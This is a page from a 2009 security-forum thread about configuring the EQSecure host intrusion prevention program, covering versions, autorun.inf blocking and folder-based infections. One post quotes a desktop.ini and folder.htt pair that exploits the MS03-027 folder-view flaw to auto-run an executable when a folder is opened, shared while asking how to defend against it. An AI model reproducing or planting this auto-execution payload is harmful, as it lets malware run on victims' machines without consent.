EQSecure 3.41 Settings

Discussion in 'other anti-malware software' started by EASTER, Dec 8, 2007.

Thread Status:
Not open for further replies.
Page 24 of 25
  1. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    not to mention is free,ofcourse it will be super-nice if we get the chance to dirty our hands on it for peace of mind and heart satisfaction:)very sad that these people dont want to share theier treasure
     
    jmonge, Jun 24, 2009
    #576
  2. Alcyon

    Alcyon Registered Member

    Joined:
    Jan 16, 2008
    Posts:
    438
    Location:
    Montr?al, Canada
    @jmonge: thanks but i'll pass.

    Here's another wonderful screenshot of their meticulous translation (sarcasm):
     

    Attached Files:

    • lame.png
      lame.png
      File size:
      20.7 KB
      Views:
      549
    Last edited: Jun 24, 2009
    Alcyon, Jun 24, 2009
    #577
  3. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    hey alcon i understand:)what language is that?korean?
     
    jmonge, Jun 24, 2009
    #578
  4. Alcyon

    Alcyon Registered Member

    Joined:
    Jan 16, 2008
    Posts:
    438
    Location:
    Montr?al, Canada
    It's called garbage... :gack:
     
    Last edited: Jun 24, 2009
    Alcyon, Jun 24, 2009
    #579
  5. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    ah:D :) anyway did you tried an alternative alcon?
     
    jmonge, Jun 24, 2009
    #580
  6. Alcyon

    Alcyon Registered Member

    Joined:
    Jan 16, 2008
    Posts:
    438
    Location:
    Montr?al, Canada
    jmonge, for now, my alternative is a properly configured Win7 in LUA mode.
     
    Alcyon, Jun 24, 2009
    #581
  7. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    ah i see:)
     
    jmonge, Jun 24, 2009
    #582
  8. Kees1958

    Kees1958 Registered Member

    Joined:
    Jul 8, 2006
    Posts:
    5,857
    Now that is what I call a paradigm shift (or do you have found some secret configurtion options)? ;)
     
    Kees1958, Jun 25, 2009
    #583
  9. yudigadget

    yudigadget Registered Member

    Joined:
    Dec 30, 2008
    Posts:
    42
    Dear all,
    i try to lock down Autorun.inf (create, read, modify) on File Protection, but possible to do delete.
    So i did settings:
    Autorun.inf
    Create file: block
    Read file: block
    Modify file: block
    Delete file: allow

    but EQSecure always block my access when tried to delete autorun.inf

    So, do you have any idea? I just want to block malware loaded from autorun.inf, even i already turn off autorun feature from regedit & gpedit.msc, but when you open My Computer then double click Flash Disk Drive, autorun.inf still loaded.
     
    yudigadget, Jun 28, 2009
    #584
  10. Alcyon

    Alcyon Registered Member

    Joined:
    Jan 16, 2008
    Posts:
    438
    Location:
    Montr?al, Canada
    An half-baked UAC prompt (without parent/child processes and operations indication) is rather lame but that's better than nothing.

    With EQS, something that can't be read can't be deleted.

    Blocking autorun.inf creation and modification with the file module isn't a bad idea for certain types of malwares but, of course, that will not be sufficient.

    I suggest that you find the solution to the problem via the application protection module.

    On another note, the "Ignore" action is always better than "Allow". It prevents overlaps with other rules.
     
    Last edited: Jun 29, 2009
    Alcyon, Jun 29, 2009
    #585
  11. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    i havent been keeping track of EQS lately, but im interested, what is the latest version thats in English and works on Vista? thx
     
    firzen771, Jun 30, 2009
    #586
  12. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    it is 4.2 it is lite version
     
    jmonge, Jun 30, 2009
    #587
  13. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    what do u mean by lite version, is it crippled or something? or would v3.41 still be the best choice?
     
    firzen771, Jun 30, 2009
    #588
  14. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    it is criple indeed i tried an older version and was way better this new version is lacking alot of stuff a hips should have:'(
     
    jmonge, Jun 30, 2009
    #589
  15. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    alright, well seems 3.41 with alcyon custom rules wuld be the best then in that case, btw does 3.41 work with vista?
     
    firzen771, Jun 30, 2009
    #590
  16. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    3.41 for vista mmmm not sure buddy:)
     
    jmonge, Jul 1, 2009
    #591
  17. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    the new lite version is for sure(vista ready)
     
    Last edited: Jul 1, 2009
    jmonge, Jul 1, 2009
    #592
  18. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    hmm well i guess even if its crippled, its still decent protection right? do u got a link to it btw?
     
    Last edited: Jul 1, 2009
    firzen771, Jul 1, 2009
    #593
  19. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    for sure it is better than any antivirus as it protects(sandbox pc)protects system 32 in real time and that is very important you can set it to ignore mode and it will block all attempts to write/modiffy/delete to the hard drive:thumb: it is simple but still has some power.
    note the only thing is that can not play with rules like MD or ssm
    http://www.3dprotect.com/en/downloads.html
     
    jmonge, Jul 1, 2009
    #594
  20. firzen771

    firzen771 Registered Member

    Joined:
    Oct 29, 2007
    Posts:
    4,815
    Location:
    Canada
    hmm that sounds cool still, im basically looking for a BB replacement anyways, so this wuld fit best probably, thx.
     
    firzen771, Jul 1, 2009
    #595
  21. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    for free what else,it is hard to find some thing free that works
     
    jmonge, Jul 1, 2009
    #596
  22. yudigadget

    yudigadget Registered Member

    Joined:
    Dec 30, 2008
    Posts:
    42
    hey, i want to ask..
    how does virus that spread with desktop.ini works? do i need to block modify of desktop.ini ? i worry there is problem with folder view setting.

    what is the relation between desktop.ini and folder.htt?

    last.. how do i secure from those things with EQSecure?

    thank you,
    yudi
     
    yudigadget, Jul 9, 2009
    #597
  23. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    those locations are secure by default:thumb:
     
    jmonge, Jul 9, 2009
    #598
  24. yudigadget

    yudigadget Registered Member

    Joined:
    Dec 30, 2008
    Posts:
    42
    jmonge, what do you mean? :) can you explain?
    http://www.microsoft.com/technet/security/Bulletin/MS03-027.mspx

    desktop.ini :
    [.ShellClassInfo]
    ConfirmFileOp=0
    [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
    PersistMoniker=file://folder.htt
    [ExtShellFolderViews]
    {5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

    folder.htt :
    <html>
    <head>
    <meta http-equiv="content-type"content="text/html; charset=Windows-1252">
    </head>
    <body style="margin: 0" scroll=no>
    <object id=FileList border=0 tabindex=1
    classid= "clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"
    style="width: 100%; height: 100%" tabIndex=-1>
    </object>
    </body>
    </html>
    <script>
    objectstr="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\""
    objectstr+="CODEBASE=\"(EXE FILENAME)#version=1,1,1,1\">"
    objectstr+="<PARAM NAME=\"_Version\" VALUE=\"65536\">"
    objectstr+="</OBJECT>"
    objectstr+="<HTML><H1></H1></HTML>";
    document.writeln(objectstr);
    document.close();
    </script>


    well, i tried experiment with this several times.. but the script Desktop.ini can not load the folder.htt (so can not run the exe too).
     
    Last edited: Jul 12, 2009
    yudigadget, Jul 12, 2009
    #599
  25. jmonge

    jmonge Registered Member

    Joined:
    Mar 20, 2008
    Posts:
    13,744
    Location:
    Canada
    those locations are protected by default ''by'' eqsecure:) that is what i meant:D eqsecure has a sandbox that protects the user space my documents/destop etc,etc and also protects your system/ system32 in real time
     
    jmonge, Jul 12, 2009
    #600
Page 24 of 25
Thread Status:
Not open for further replies.
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Accept Learn More...